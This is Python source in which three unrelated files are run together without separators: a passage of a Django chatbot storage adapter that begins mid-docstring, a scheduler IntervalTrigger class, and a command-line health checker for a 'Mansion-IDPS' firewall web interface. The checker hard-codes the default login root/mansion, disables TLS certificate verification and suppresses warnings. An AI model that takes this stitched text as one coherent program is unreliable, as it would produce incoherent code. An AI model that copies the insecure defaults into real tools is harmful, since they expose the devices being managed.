Returns None if a matching conversation cannot be found. """ Response = self.get_model('response') response = Response.objects.filter( conversations__id=conversation_id ).order_by( 'created_at' ).last() if not response: return None return response.response def create_conversation(self): """ Create a new conversation. """ Conversation = self.get_model('conversation') conversation = Conversation.objects.create() return conversation.id def add_to_conversation(self, conversation_id, statement, response): """ Add the statement and response to the conversation. """ Statement = self.get_model('statement') Response = self.get_model('response') first_statement, created = Statement.objects.get_or_create(text=statement.text) first_response, created = Statement.objects.get_or_create(text=response.text) response = Response.objects.create( statement=first_statement, response=first_response ) response.conversations.add(conversation_id) def drop(self): """ Remove all data from the database. """ Statement = self.get_model('statement') Response = self.get_model('response') Conversation = self.get_model('conversation') Tag = self.get_model('tag') Statement.objects.all().delete() Response.objects.all().delete() Conversation.objects.all().delete() Tag.objects.all().delete() def get_response_statements(self): """ Return only statements that are in response to another statement. A statement must exist which lists the closest matching statement in the in_response_to field. Otherwise, the logic adapter may find a closest matching statement that does not have a known response. """ Statement = self.get_model('statement') Response = self.get_model('response') responses = Response.objects.all() return Statement.objects.filter(in_response__in=responses)
from datetime import datetime, timedelta, tzinfo from typing import Optional, Union from ..abc import Trigger from ..marshalling import marshal_date, unmarshal_date from ..validators import as_aware_datetime, as_timezone, require_state_version class IntervalTrigger(Trigger): """ Triggers on specified intervals. The first trigger time is on ``start_time`` which is the moment the trigger was created unless specifically overridden. If ``end_time`` is specified, the last trigger time will be at or before that time. If no ``end_time`` has been given, the trigger will produce new trigger times as long as the resulting datetimes are valid datetimes in Python. :param weeks: number of weeks to wait :param days: number of days to wait :param hours: number of hours to wait :param minutes: number of minutes to wait :param seconds: number of seconds to wait :param microseconds: number of microseconds to wait :param start_time: first trigger date/time :param end_time: latest possible date/time to trigger on :param timezone: time zone used to make any passed naive datetimes timezone aware """ __slots__ = ('weeks', 'days', 'hours', 'minutes', 'seconds', 'microseconds', 'start_time', 'end_time', '_interval', '_last_fire_time') def __init__(self, *, weeks: float = 0, days: float = 0, hours: float = 0, minutes: float = 0, seconds: float = 0, microseconds: float = 0, start_time: Optional[datetime] = None, end_time: Optional[datetime] = None, timezone: Union[tzinfo, str] = 'local'): self.weeks = weeks self.days = days self.hours = hours self.minutes = minutes self.seconds = seconds self.microseconds = microseconds timezone = as_timezone(timezone) self.start_time = as_aware_datetime(start_time or datetime.now(), timezone) self.end_time = as_aware_datetime(end_time, timezone) self._interval = timedelta(weeks=self.weeks, days=self.days, hours=self.hours, minutes=self.minutes, seconds=self.seconds, microseconds=self.microseconds) self._last_fire_time = None if self._interval.total_seconds() <= 0: raise ValueError('The time interval must be positive') if self.end_time and self.end_time < self.start_time: raise ValueError('end_time cannot be earlier than start_time') def next(self) -> Optional[datetime]: if self._last_fire_time is None: self._last_fire_time = self.start_time else: self._last_fire_time = self._last_fire_time + self._interval if self.end_time is None or self._last_fire_time <= self.end_time: return self._last_fire_time else: return None def __getstate__(self): return { 'version': 1, 'interval': [self.weeks, self.days, self.hours, self.minutes, self.seconds, self.microseconds], 'start_time': marshal_date(self.start_time), 'end_time': marshal_date(self.end_time), 'last_fire_time': marshal_date(self._last_fire_time) } def __setstate__(self, state): require_state_version(self, state, 1) self.weeks, self.days, self.hours, self.minutes, self.seconds, self.microseconds = \ state['interval'] self.start_time = unmarshal_date(state['start_time']) self.end_time = unmarshal_date(state['end_time']) self._last_fire_time = unmarshal_date(state['last_fire_time']) self._interval = timedelta(weeks=self.weeks, days=self.days, hours=self.hours, minutes=self.minutes, seconds=self.seconds, microseconds=self.microseconds) def __repr__(self): fields = [] for field in 'weeks', 'days', 'hours', 'minutes', 'seconds', 'microseconds': value = getattr(self, field) if value > 0: fields.append(f'{field}={value}') fields.append(f"start_time='{self.start_time}'") if self.end_time: fields.append(f"end_time='{self.end_time}'") return f'{self.__class__.__name__}({", ".join(fields)})'
import sys import time import argparse import json from termcolor import colored,cprint import colorama from requests_html import HTMLSession import warnings # mat cli design parser = argparse.ArgumentParser(description='for Mansion-IDPS status verification and health testing.') parser.add_argument('-t','--target',metavar='PROTOCOL:URL',required=True, dest='target_url',action='store', help='set the target device URL for this checking') parser.add_argument('-u', '--username',metavar='username', required=False, dest='login_username', action='store',default='root', help='username for login the target device') parser.add_argument('-p', '--password',metavar='password', required=False, dest='login_password', action='store',default='mansion', help='password for login the target device') parser.add_argument('-l',dest='login_needed', action='store_true', help='the target device need to login first') parser.add_argument('-v', dest='verbose', action='store_true', help='verbose mode') args = parser.parse_args() # Enable colored output colorama.init() mat_print_line_max = 64 mat_print_line_desc_max = 48 def mat_print_title(text): cprint("-"*mat_print_line_max,'blue') cprint(text,"white","on_blue") cprint("-"*mat_print_line_max,'blue') def mat_print_item(desc,val,level="info"): t_desc_len = len(desc) t_line_seg_num = int(t_desc_len/mat_print_line_desc_max) t_line_seg_last = t_desc_len%mat_print_line_desc_max t_space_num = 0 if t_line_seg_last != 0: t_space_num = mat_print_line_desc_max - t_line_seg_last for x in range(0,t_line_seg_num): print(desc[x*mat_print_line_desc_max:(x+1)*mat_print_line_desc_max]) if t_line_seg_last > 0: print(desc[t_line_seg_num*mat_print_line_desc_max:],end="") if level == "error": print("=>" + " "*(t_space_num + 1) + "[ {} ]".format(colored(val,"white","on_red"))) elif level == "warning": print("=>" + " "*(t_space_num + 1) + "[ {} ]".format(colored(val,"white","on_yellow"))) else: if val in ("Disabled","Off"): print("=>" + " "*(t_space_num + 1) + "[ {} ]".format(colored(val,"white"))) else: print("=>" + " "*(t_space_num + 1) + "[ {} ]".format(colored(val,"white","on_green"))) def mat_request(session,method="get",url=None,data=None,desc="mat request",err_break=True): sess_rep = None try: if method == "post": sess_rep = session.post(url,data) else: sess_rep = session.get(url) except: mat_print_item(desc,"Failed","error") if err_break: sys.exit(1) else: pass return sess_rep # Output the collected arguments if args.verbose: mat_print_title("<--MAT parameters-->") mat_print_item("target setting",args.target_url) mat_print_item("login needed",args.login_needed) mat_print_item("login username",args.login_username) mat_print_item("login password",args.login_password) # Test case,test procedure will be blocked by ERROR # invalid externsion's warning output warnings.filterwarnings('ignore') mat_session = None mat_session_verify = False mat_session_rep = None mat_session_key = None mat_session_key_val = None mat_print_item_desc = "" # T1: login_test #### mat_login_test mat_print_title("<--Login System-->") mat_session = HTMLSession() mat_session.verify = mat_session_verify # T1.1 login connect mat_print_item_desc = "Connect to {}".format(args.target_url) try: mat_session_rep = mat_session.get(args.target_url) except: mat_print_item(mat_print_item_desc,"Failed",level="error") sys.exit(1) mat_print_item(mat_print_item_desc,"Success") # T1.2 login auth temp_ele = mat_session_rep.html.xpath('//form/input') mat_session_key = temp_ele[0].attrs["name"] mat_session_key_val = temp_ele[0].attrs["value"] mat_print_item_desc = "Authentication with {}:{}".format(args.login_username,args.login_password) try: mat_session_rep = mat_session.post(args.target_url,data={ mat_session_key:mat_session_key_val, "usernamefld":args.login_username,"passwordfld":args.login_password,"login":1}) except: mat_print_item(mat_print_item_desc,"Failed",level="error") sys.exit(1) if mat_session_rep.ok: mat_print_item(mat_print_item_desc,"Success") else: mat_print_item(mat_print_item_desc,"Failed",level="error") sys.exit(1) # T2: system_check #### mat_system_check_test mat_print_title("<--System Check-->") # T2.1 system info get mat_print_item_desc = "System information get" try: mat_session_rep = mat_session.get(args.target_url+"/widgets/api/get.php?load=system,traffic,gateway,interfaces&_="+str(time.time())) except: mat_print_item(mat_print_item_desc,"Failed",level="error") sys.exit(1) if mat_session_rep.ok: mat_print_item(mat_print_item_desc,"Success") else: mat_print_item(mat_print_item_desc,"Failed",level="error") sys.exit(1) # T2.1 system info detail get temp_json = json.loads(mat_session_rep.html.html) try: temp_obj = temp_json["data"]["system"] mat_print_item("{}".format(temp_obj["versions"][0]),"OK") temp_obj = temp_json["data"]["system"]["cpu"] mat_print_item("CPU({} {} {})".format( temp_obj["cpus"], temp_obj["max.freq"], temp_obj["cur.freq"]),"OK") over_load = False for x in temp_obj["load"]: if float(x) > 60: over_load = True break mat_print_item("System cpu load({} {} {})".format( temp_obj["load"][0], temp_obj["load"][1], temp_obj["load"][2]),"Checked",over_load) over_load = False temp_obj = temp_json["data"]["system"]["kernel"]["memory"] temp_used = float(temp_obj["used"])/float(temp_obj["total"]) if temp_used > 0.5: over_load = True mat_print_item("System mem load({}G {}G)".format( round(float(temp_obj["total"])/1024/1024/1024), round(float(temp_obj["used"])/1024/1024/1024,2)),"Checked",over_load) over_load = False temp_obj = temp_json["data"]["system"]["kernel"]["pf"] temp_used = float(temp_obj["states"])/float(temp_obj["maxstates"]) if temp_used > 0.5: over_load = True mat_print_item("System pfilter table({} {})".format( temp_obj["maxstates"], temp_obj["states"]),"Checked",over_load) over_load = False temp_obj = temp_json["data"]["system"]["kernel"]["mbuf"] temp_used = float(temp_obj["total"])/float(temp_obj["max"]) if temp_used > 0.5: over_load = True mat_print_item("System packet buf table({} {})".format( temp_obj["max"], temp_obj["total"]),"Checked",over_load) temp_obj = temp_json["data"]["system"]["disk"]["devices"] for x in temp_obj: mat_print_item("System disk({}) [{} {} {}]".format( x["device"], x["size"],x["used"],x["capacity"]),"Checked") temp_obj = temp_json["data"]["system"]["disk"]["swap"] if 0 != len(temp_obj["device"]): mat_print_item("System disk swap","On",level="warning") else: mat_print_item("System disk swap","Off") temp_obj = temp_json["data"]["interfaces"] temp_used = len(temp_obj) mat_print_item("System {} interface enabled".format(temp_used),"Checked") for x in temp_obj: mat_print_item("System interface {} {} {}".format( x["name"],x["status"],x["ipaddr"]),"Checked") except: mat_print_item("System information checked","Failed",1) sys.exit(1) # print(json.dumps(temp_json["data"],indent=2)) # T3: service_check #### mat_service_check_test mat_print_title("<--Service Check-->") mat_print_item_desc = "Service ids status" try: mat_session_rep = mat_session.get(args.target_url + "/api/ids/service/status") if mat_session_rep.ok: temp_json = json.loads(mat_session_rep.html.html) if temp_json.get("status") == "running": mat_print_item(mat_print_item_desc,"Running") else: mat_print_item(mat_print_item_desc,"Stopped",level="warning") else: mat_print_item(mat_print_item_desc,"Unkonw",level="error") except: mat_print_item(mat_print_item_desc,"Unkonw",level="error") pass try: mat_session_rep = mat_session.get(args.target_url + "/api/ids/settings/get") if mat_session_rep.ok: temp_json = json.loads(mat_session_rep.html.html) temp_obj = temp_json["ids"]["general"] if temp_obj.get("promisc") == "1": mat_print_item("Service ids interface promisc mode","Enabled") else: mat_print_item("Service ids interface promisc mode","Disabled") temp_obj = temp_json["ids"]["general"]["interfaces"] for k in temp_obj: if temp_obj[k]["selected"] == 1: mat_print_item("Service ids interface {}".format(temp_obj[k]["value"]),"Enabled") else: mat_print_item("Service ids interface {}".format(temp_obj[k]["value"]),"Disabled") temp_obj = temp_json["ids"]["general"]["syslog"] if temp_obj == "0": mat_print_item("Service ids syslog","Disabled") else: mat_print_item("Service ids syslog","Enabled") temp_obj = temp_json["ids"]["general"]["LogPayload"] if temp_obj == "0": mat_print_item("Service ids syslog log-payload","Disabled") else: mat_print_item("Service ids syslog log-payload","Enabled") temp_obj = temp_json["ids"]["general"]["homenet"] temp_str = "" for k in temp_obj: if temp_obj[k]["selected"] == 1: temp_str = temp_str + "|" + temp_obj[k]["value"] mat_print_item("Service ids homenet({})".format(temp_str),"Checked") except: pass try: mat_session_rep = mat_session.get(args.target_url + "/services_ntpd.php") temp_obj = mat_session_rep.html.find('input[name="timeservers_host[]"]') temp_str = "" for x in temp_obj: temp_str = temp_str + "|" + x.attrs.get("value") mat_print_item("Service ntp remote server({})".format(temp_str),"Checked") temp_obj = mat_session_rep.html.find('input[name="timeservers_prefer[]"]') temp_str = "" for x in temp_obj: if x.attrs.get("checked") == "checked": temp_str = temp_str + "|" + x.attrs.get("value") mat_print_item("Service ntp prefer server({})".format(temp_str),"Checked") temp_obj = mat_session_rep.html.find('input[name="timeservers_noselect[]"]') temp_str = "" for x in temp_obj: if x.attrs.get("checked") == "checked": temp_str = temp_str + "|" + x.attrs.get("value") mat_print_item("Service ntp forbiden server({})".format(temp_str),"Checked") #print(mat_session_rep.html.html) except: mat_print_item("Service ntp status get","Failed",level="error") pass # T4: setting_check #### mat_setting_check_test mat_print_title("<--Setting Check-->") try: mat_session_rep = mat_session.get(args.target_url+"/system_general.php") except: mat_print_item("Setting general get","Failed",level="error") pass try: temp_obj = mat_session_rep.html.find('#timezone [selected="selected"]',first=True).text if temp_obj != "Asia/Shanghai": mat_print_item("Setting timezone({})".format(temp_obj),"Warning",level="warning") else: mat_print_item("Setting timezone({})".format(temp_obj),"OK") except: mat_print_item("Setting timezone get","Failed",level="error") pass try: temp_obj = mat_session_rep.html.find('tbody>tr>td>input[name^="dns"]') for x in temp_obj: if len(x.attrs["value"]) != 0: temp_str = "Enabled" else: temp_str = "Disabled" mat_print_item("Setting dns remote [{}:{}]".format(x.attrs["name"],x.attrs["value"]),temp_str) except: mat_print_item("Setting dns remote get","Failed",level="error") pass try: temp_obj = mat_session_rep.html.find('[name="dnsallowoverride"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = "Yes" else: temp_str = "No" mat_print_item("Setting dns override by SP setting",temp_str) except: mat_print_item("Setting dns override by SP setting","Unkonw",level="error") pass try: mat_session_rep = mat_session.get(args.target_url + "/system_advanced_admin.php") # sshd temp_obj = mat_session_rep.html.find('[name="enablesshd"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = "Enabled" else: temp_str = "Disabled" mat_print_item("Setting admin ssh login",temp_str) temp_obj = mat_session_rep.html.find('[name="sshdpermitrootlogin"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = "Enabled" else: temp_str = "Disabled" mat_print_item("Setting admin ssh root login",temp_str) temp_obj = mat_session_rep.html.find('[name="sshpasswordauth"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = "Enabled" else: temp_str = "Disabled" mat_print_item("Setting admin ssh passwd login",temp_str) temp_obj = mat_session_rep.html.find('[name="sshport"]')[0] mat_print_item("Setting admin ssh port({})".format(temp_obj.attrs["placeholder"]),"Checked") # console temp_obj = mat_session_rep.html.find('[name="usevirtualterminal"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = "Enabled" else: temp_str = "Disabled" mat_print_item("Setting admin console login",temp_str) temp_obj = mat_session_rep.html.find('[name="primaryconsole"]>option[selected="selected"]')[0] mat_print_item("Setting admin console primary({})".format(temp_obj.attrs["value"]),"Checked") temp_obj = mat_session_rep.html.find('[name="secondaryconsole"]>option[selected="selected"]')[0] mat_print_item("Setting admin console secondary({})".format(temp_obj.attrs["value"]),"Checked") temp_obj = mat_session_rep.html.find('[name="serialspeed"]>option[selected="selected"]')[0] mat_print_item("Setting admin console serial speed({})".format(temp_obj.attrs["value"]),"Checked") temp_obj = mat_session_rep.html.find('[name="disableconsolemenu"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = "Enabled" else: temp_str = "Disabled" mat_print_item("Setting admin console passwd protected",temp_str) except: mat_print_item("Setting admin get","Failed",level="error") sys.exit(1) try: mat_session_rep = mat_session.get(args.target_url + "/diag_logs_settings.php") # syslog remote temp_obj = mat_session_rep.html.find('input[name^="remoteserver"]') temp_str = "" temp_str1 = "Disabled" for x in temp_obj: temp_str = temp_str + "|" + x.attrs["value"] if len(x.attrs["value"]) > 0: temp_str1 = "Enabled" mat_print_item("Setting syslog remote({})".format(temp_str),temp_str1) temp_obj = mat_session_rep.html.find('input[name="logall"]')[0] temp_str = "" if temp_obj.attrs.get("checked") == "checked": temp_str = temp_obj.attrs["name"] else: temp_obj = mat_session_rep.html.find('input[name="system"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = temp_str + "|" + temp_obj.attrs["name"] temp_obj = mat_session_rep.html.find('input[name="filter"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = temp_str + "|" + temp_obj.attrs["name"] temp_obj = mat_session_rep.html.find('input[name="dhcp"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = temp_str + "|" + temp_obj.attrs["name"] temp_obj = mat_session_rep.html.find('input[name="dns"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = temp_str + "|" + temp_obj.attrs["name"] temp_obj = mat_session_rep.html.find('input[name="ids"]')[0] if temp_obj.attrs.get("checked") == "checked": temp_str = temp_str + "|" + temp_obj.attrs["name"] mat_print_item("Setting syslog service({})".format(temp_str),"Checked") except: mat_print_item("Setting log get","Failed",level="error") sys.exit(1) # T5: license_check #### mat_license_check_test mat_print_title("<--License Check-->") try: mat_session_rep = mat_session.get(args.target_url+"/license.php") except: mat_print_item("License check","Failed",level="error") sys.exit(1) try: temp_obj = mat_session_rep.html.search('<div class="alert {alert_lic}" role="alert"')["alert_lic"] if temp_obj != "alert-info": mat_print_item("License check","Failed",level="warning") else: mat_print_item("License check","Success") except: mat_print_item("License check","Unkown",level="error") sys.exit(1)